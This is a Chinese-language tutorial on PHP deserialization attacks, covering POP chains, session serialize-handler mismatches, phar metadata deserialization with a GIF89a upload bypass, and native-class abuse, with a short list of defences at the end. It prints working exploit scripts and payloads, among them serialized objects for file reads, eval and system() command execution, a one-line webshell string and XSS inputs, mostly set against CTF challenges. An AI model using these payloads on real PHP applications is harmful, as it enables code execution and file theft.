php反序列化与pop链

前言:近期算是比较摸,这部分知识其实不算难,算是复习和总结下,我尽量以平和的语言总结。

1.1 序列化与反序列化

计算机相关知识总是喜欢创造些新名词,让人看起来觉得很高大上。其实序列化本质就是一种做数据格式转换的操作。

序列化:将变量(通常是数组和对象)转换为可保存或传输的字符串

反序列化:在适当的时候把这个字符串再转化成原来的变量(通常是数组和对象)使用。

这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。反序列化本身不是漏洞,但如果反序列化的内容可控,就容易导致漏洞

1.2 php魔术方法

PHP提供了许多“魔术”方法,这些方法由两个下划线前缀(__)标识。它们充当拦截器,在满足某些条件时会自动调用它们。 魔术方法提供了一些极其有用的功能。

常见的魔术方法有:

  1. __contruct() 当一个对象创建时被调用
  2. __destruct() 当一个对象销毁前被调用
  3. __sleep() 在对象被序列化前被调用
  4. __wakeup 将在反序列化之后立即被调用
  5. __toString 当一个对象被当做字符串使用时被调用
  6. __get(),__set() 当调用或设置一个类及其父类方法中未定义的属性
  7. __invoke() 调用函数的方式调用一个对象时的回应方法
  8. __call 和 __callStatic前者是调用类不存在的方法时执行,而后者是调用类不存在的静态方式方法时执行。
    https://segmentfault.com/a/1190000007250604

该文章对魔术方法的使用做了比较详细的解释,可以看下

1.3 序列化后的字符串形式

一个序列化的字符串:

1
2
3
O:4:"Test":2:{s:4:"test";s:2:"ok";s:3:"var";N;}
O代表这是一个对象,4代表对象名称的长度,2代表成员个数。
大括号中分别是:属性名类型、长度、名称;值类型、长度、值

另外对于类里的成员变量,我们一般都会给予相应的权限,权限不同,序列化后的字符串存在区别

1
2
3
4
5
6
7
8
9
<?php
class Test{
public $test;
}
$t = new Test();
$data = serialize($t);
echo($data);
file_put_contents("serialize.txt", $data);
//O:4:"Test":2:{s:4:"test";s:2:"ok";s:3:"var";N;}

图片

用010可以看到public的属性,序列化后的值就是属性的名称和对应的值

如果换成private

1
2
3
4
5
6
7
8
9
<?php
class Test{
private $test='ok';
private $var;
}
$t = new Test();
$data = serialize($t);
echo($data);
file_put_contents("serialize.txt", $data);

属性名变成了%00Test%00test%00Test%00var
也就是%00类名%00属性名

图片

protected

换成protected, 属性序列化之后又变了,属性名变成了%00*%00test%00*%00var

也就是%00*%00属性名

图片

注意到这些对构造序列化的字符串很关键,当我们直接将private protected的属性进行序列化,得到的序列化字符串的payload将无效,因为0x00的缘故。但是通过urlencode就可以避免

php反序列化漏洞

反序列化本身不是漏洞,但是如果类的某些属性可控,那么在反序列的过程中就会自动的执行魔术方法,从而导致安全问题。

所以,通常反序列化漏洞的成因在于代码中的 __unserialize(),__wakeup()等魔术方法接收的参数可控,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
// flag is in flag.php
class popdemo
{
private $filename = 'demo.php';
public function __wakeup()
{
$this->show($this->filename);
}
public function show($filename)
{
show_source($filename);
}
}

unserialize($_POST['a']);

上面的代码是接收一个参数a,然后将其反序列化,反序列化后,会调用__wakeup()方法。如果一切正常的话,这个方法是显示一下demo.php文件的源代码。但是参数a是可控的,也就是说对象a的属性是可控的。于是我们可以伪造一个filename来构造对象
EXP

1
2
3
4
5
6
7
<?php
class popdemo
{
private $filename = "flag.php";
}
$p = new popdemo();
echo urlencode(serialize($p));

当我们对象参数可控时,可以伪造对象的一些属性,从而实现任意文件读取等操作。
如果直接把这个exp跑出来payload拿去加载,正如之前所说, 如果我们没有urlencode,就会得到一个无效的payload

1
2
3
4
5
O:7:"popdemo":1:{s:17:
0x00之后会截断

这样是可以的:
a=O:7:"popdemo":1:{s:17:"%00popdemo%00filename";s:8:"flag.php";}

POP链的构造

1、什么是POP

面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。

2、POP链原理

POP链是反序列化漏洞利用中的一种常有方法,即寻找程序环境中已经定义或能够动态加载的对象中的属性或函数,将一些能够被调用的函数组合起来,达到目的的操作

用人话来说就是,根据已有的代码,构造一条完整的调用链,该调用链与原来代码的调用链一致,不过部分属性被我们所控制,从而达到攻击目的。构造的这条链就是POP链。

用一个实例说明如何构造POP链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
<?php
//flag is in flag.php
error_reporting(0);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}

class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString()
{
return $this->str['str']->source;
}

public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}

}

public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test
{
public $p;
public function __construct()
{
$this->p = array();
}

public function __get($key)
{
$function = $this->p;
return $function();
}
}

if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('pop3.php');
$show->_show();
}

首先理清思路,寻找最重要的魔术方法或者能获取flag的方法作为起点。

  1. 先看读文件的函数在哪:Read.file_get里面有一个file_get_contents Show._show()中有一个highlight_file
  2. 我们可控的是hello参数,调用unserialize()函数,即__wakeup()魔术方法,于是就只有Show类中存在该方法,但是注意到在Show.__wakeup()中存在一个正则匹配,这个正则匹配会将$this->source当成字符串来处理。也就是说会调用Show.__toString()方法。
  3. 定位到Show.__toString(),可以将source序列化为Show类的对象,就会调用__toString方法。__toString又会取一个str['str']->source,那么如果这个source不存在的话,就会执行__get()方法。
  4. __get()魔术方法会调用一个$p变量,这个也是可控的,然后会将p当做函数调用,此时触发了Read.__invoke()魔术方法
  5. __invoke魔术方法会触发file_get()函数,进而base64_encode(file_get_contents($value))最终达到读文件的目的。
    这样一条完整的链就分析完了
1
hello -> __wakeup -> Show._show -> Show.__toString -> (不存在属性)Test.__get() -> Read.__invoke

注意对象关系(hello是Show的对象,source属性是Test的对象,p属性是Read的对象),然后写一个POP链的对应EXP,就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
class Read {
public $var="flag.php";

}

class Show
{
public $source;
public $str;
}

class Test
{
public $p;
}

$show = new Show();
$test = new Test();
$read = new Read();
$test->p = $read;
$show->source = $show;
$show->str['str'] = $test;

echo serialize($show);//在存在private和protected属性的情况下还是需要使用urlencode的。
?>

php的Session反序列化问题

了解session相关的反序列化问题之前,得先了解下session相关的机制。这里详细机制解释已经在上篇文章解释了,就不做过多解释。这里主要是针对于session反序列化漏洞原理进行解释

如果在PHP在反序列化存储的$_SESSION数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确地反序列化。如果session值可控,则可通过构造特殊的session值导致反序列化漏洞

这里引用大佬博客里的一个例子:

session.php

1
2
3
4
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];

session2.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}
function __destruct() {
eval($this->hi);
}
}

session.php中的Session是可控的,但是反序列的魔术方法在session2.php中,而session中的参数无法直接可控。
这个时候,就可以利用两个的php的session存储机制的不同实现session的反序列化攻击

具体原理解释:

将payload用session.php,控制存储在指定文件中。

1
plainsession.php?a=|O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}
  1. 此时传入的数据会按照php_serialize来进行序列化,并存储到文件中。
  2. 再访问session2.php,页面输出spoock,成功执行我们构造的函数。因为在访问session2.php时,程序会按照php来反序列化SESSION中的数据(因为同域PHPSESSIONID是一样的,之前存的session也适用),此时就会反序列化伪造的数据,就会实例化lemon对象,最后就会执行析构函数中的eval()方法。
    以上就是最简单的利用,也达到了攻击目的,但是局限性比较大。

条件如下:

  1. 两个文件session引擎配置不同
  2. 其中一个session可控
  3. 两个文件同域
    这里进一步查询资料,有一篇资料已经看不了就只能直接以我的口吻复述文章了。

当PHP中session.upload_progress.enabled打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION中 ,具体利用条件列举如下

  1. session.upload_progress.enabled = On (是否启用上传进度报告)
  2. session.upload_progress.cleanup = Off (是否上传完成之后删除session文件)
    符合条件时,上传文件进度的报告就会以写入到session文件中,所以我们可以设置一个与session.upload_progress.name同名的变量(默认名为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。我们就可以控制这个数据内容为我们的恶意payload。

关于具体实例,在浙大oj也就是jarvirsoj上有一道ctf题,这里搬运下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

容易发现,OowoO.__destruct()存在代码执行,但是没有可控参数进行利用。
然后发现符合上传程序Session漏洞的条件

图片

因为这里是直接对session取出内容然后进行反序列化,但是这里并没有对session内容的赋值操作,所以这里进行上传来写入

一个简单的上传demo

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="" />
<input type="file" name="file" />
<input type="submit" />
</form>

其中value就是我们自己构造的恶意payload
poc.php

1
2
3
4
5
6
7
8
9
<?php
class OowoO
{
public $mdzz;
}
$a = new OowoO();
$a->mdzz = "print_r(scandir(__dir__));";
echo serialize($a);
?>

这里查看环境phpinfo,禁用了一些函数。可以用print_r来进行绕过
再从phpinfo中的SCRIPT_FILENAME字段得到根目录地址:/opt/lampp/htdocs/,构造得到payload

1
2
3
O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r
(file_get_contents
('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));";}

phar反序列化

phar文件的结构:

phar文件都包含以下几个部分:

1
2
3
4
5
6
7
8
1. stub
phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
2. manifest
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
3. content
被压缩文件的内容
4. signature (可空)
签名,放在末尾。

简单介绍

首先介绍一下phar://phar://php://filterdata://协议那些一样,都是流包装,可以将一组php文件进行打包,可以创建默认执行的stub,而stub就是一个标志,他的格式是xxx<?php xxxxx;__HALT_COMPILER();?>,结尾是__HALT_COMPILER()'?>,不然phar识别不了phar文件

图片

简单例子:

php内置了一个phar类来处理相关操作

注意:这里要将php.ini里面的phar.readonly选项设置为Off并把分号去掉。

如果你在命令行运行PHP文件还是无法生成成功,请使用php -v查看php版本并在修改指定版本的php.ini。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> name='Threezh1'; //控制TestObject中的name变量为Threezh1
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

执行一下我们看到他会产生一个phar.phar文件,丢去二进制编辑器看一下
图片

我们确实看到了有反序列化后的值,对应的,就有反序列化的操作,而php大部分文件系统函数在通过phar://协议解析的时候,都会将meta-data进行反序列化,影响函数大多数是跟文件操作相关的函数

接下来进行反序列化

1
2
3
4
5
6
7
<?php
class TestObject{
function __destruct(){
echo $this->data;
}
}
include ('phar://phar.phar');

可以看到确实是有数据输出,因此可以看到这样是可以触发反序列化漏洞了

漏洞利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤。

    绕过文件格式限制

  • 上传html页面: upload.html
  • 后端校验页面:upload.php
  • 一个漏洞页面:index.php (存在file_exits(), eval()函数)
  • 一个上传目录: upload_file/
    upload.html:
1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html>
<head>
<title>upload file</title>
</head>
<body>
<form action="http://127.0.0.1/upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
</html>

upload.php
仅允许格式为gif的文件上传。上传成功的文件会存储到upload_file目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];

if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}

index.php

1
2
3
4
5
6
7
8
9
10
11
<?php
class TestObject{
var $data = 'echo "Hello World";';
function __destruct()
{
eval($this -> data);
}
}
if ($_GET["file"]){
file_exists($_GET["file"]);
}

绕过思路:GIF格式验证可以通过在文件头部添加GIF89a绕过
我们可以构造一个php来生成phar.phar。

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='phpinfo();'; //控制TestObject中的data为phpinfo()。
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

利用过程:

  • 一、生成一个phar.phar,修改后缀名为phar.gif
    图片
  • 二、上传到upload_file目录下
    图片

通过修改后缀名和文件头,能够绕过大部分的校验

原生类的利用

原生类,顾名思义是php自带的类。而之前我们反序列化常见的是自己构建的类,这里的利用对象是php自带的类。

报错类

Error

在PHP7版本中,因为Error中带有__toString方法,该方法会将传入给__toString的参数原封不动的输出到浏览器。在这么一个过程中可能会产生XSS

例如,有以下代码

1
2
3
4
<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);

当传入下方payload的时候

1
?a=Error&b=<script>alert("Lxxx");</script>

图片

Exception

与Error类似,Exception同样有__toString方法,因此测试代码和上方一样,传入以下payload,同样可以XSS

1
?a=Exception&b=<script>alert("Lxxx");</script>

图片

以上代码都能被执行,那我们可以尝试传一句话木马

1
?a=Exception&b=eval($_POST[1]);

如果说直接按照上面的写法传入一个写法,只会原封不动打印出来,所以我们需要把测试代码换一个写法。

1
2
3
4
<?php
$a = $_GET['a'];
$b = $_GET['b'];
eval("echo new $a($b());");

这时候传入的payload:
?a=Exception&b=system(‘whoami’)

图片

这里虽然报错了,但是可以rce,RCE的主要原因不是Exception这个类,而是因为PHP会先执行括号内的内容,如果执行括号内的内容没有报错,再执行括号外的报错,没有报错的部分的命令同样被正常执行。因此如果将上方测试代码的第四行eval删去,则无法进行RCE

遍历目录类

DirectoryIterator

DirectoryIterator类的__construct方法会构造一个迭代器,如果使用echo输出该迭代器,将会返回迭代器的第一项

例子:

1
2
3
4
<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);

传入payload:

1
?a=DirectoryIterator&b=.

图片

返回一个点,这里为啥返回点,建议去linux系统实际操作(因为linux里查看所有文件的第一个文件都是一个点.)

这个点代表是当前目录,如果我们想要匹配其余文件,可以使用glob协议

1
?a=DirectoryIterator&b=glob://flag*

图片

如果这个时候不知道flag文件名怎么办

如果这个时候不知道flag文件名怎么办,所以可以尝试用暴力搜索

1
?a=DirectoryIterator&b=glob://f[k-m]*

图片

glob协议同样是支持通配符,包括ascii码中的部分匹配,例如想要匹配大写字母,那么就写[@-[]表示ASCII码字符从@[都允许匹配,也就是匹配大写字母

FilesystemIterator

如果DirectoryIterator类被禁用了,还有FilesystemIterator类可以代替,使用方法和DirectoryIterator类差不多

图片

GlobIterator

GlobIterator和上方这两个类差不多,不过glob是GlobIterator类本身自带的,因此在遍历的时候,就不需要带上glob协议头了,只需要后面的相关内容

1
?a=GlobIterator&b=f[k-m]*

图片

SplFileObject

读取文件类

SplFileObject

SplFileObject类为文件提供了一个面向对象接口,说人话就是这个类可以用来读文件。

1
2
3
4
<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);

传payload进去:

1
?a=SplFileObject&b=flag.php

图片

SplFileObject这个类返回的仍然是一个迭代器,想要将内容完整的输出出来,最容易想到的自然是利用foreach遍历 ,这里可以看下官方文档对该类的__construct方法

图片

可以看到官方文档要求我们传入参数是一个文件名,而如果参数是文件名的话,我们可以尝试用伪协议

传入payload

1
?a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php

反射类

ReflectionClass

ReflectionClass反射类在PHP5新加入,继承自Reflector,它可以与已定义的类建立映射关系,通过反射类可以对类操作

反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))来执行命令

这里拿ctfshow的web109作例题

1
2
3
4
5
6
7
8
9
10
11
<?php 
highlight_file(__FILE__); 
error_reporting(0); 
if(isset($_GET['v1']) && isset($_GET['v2'])){ 
    $v1 = $_GET['v1']; 
    $v2 = $_GET['v2']; 
    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ 
            eval("echo new $v1($v2());"); 
    } 

?>

已知了flag在./fl36dg.txt,命令执行system(‘cat fl36dg.txt’)获取flag,所以应该传入如下参数

1
v1=ReflectionClass&v2=system("ls")

ReflectionMethod

和ReflectionClass一样

反序列化的防御

因为反序列化的缺陷可能导致远程代码执行等严重的攻击,所以我们需要对其进行防护:

  1. 对传入 unserilize() 的参数,进行严格地过滤。
  2. 在文件系统函数的参数可控时,进行严格地过滤。
  3. 严格检查上传文件内容,不能只是单纯地检查文件头(phar)
  4. 条件允许的情况下,禁用可执行系统命令、代码的危险函数。
  5. 注意不同类中的同名方法的编写,避免被用作反序列化的跳板。
  6. Session方面,一个是多文件间使用一种序列化引擎;二是尽量不要让session可控;三是保持session.upload_progress.cleanup = On (上传完成之后删除session文件)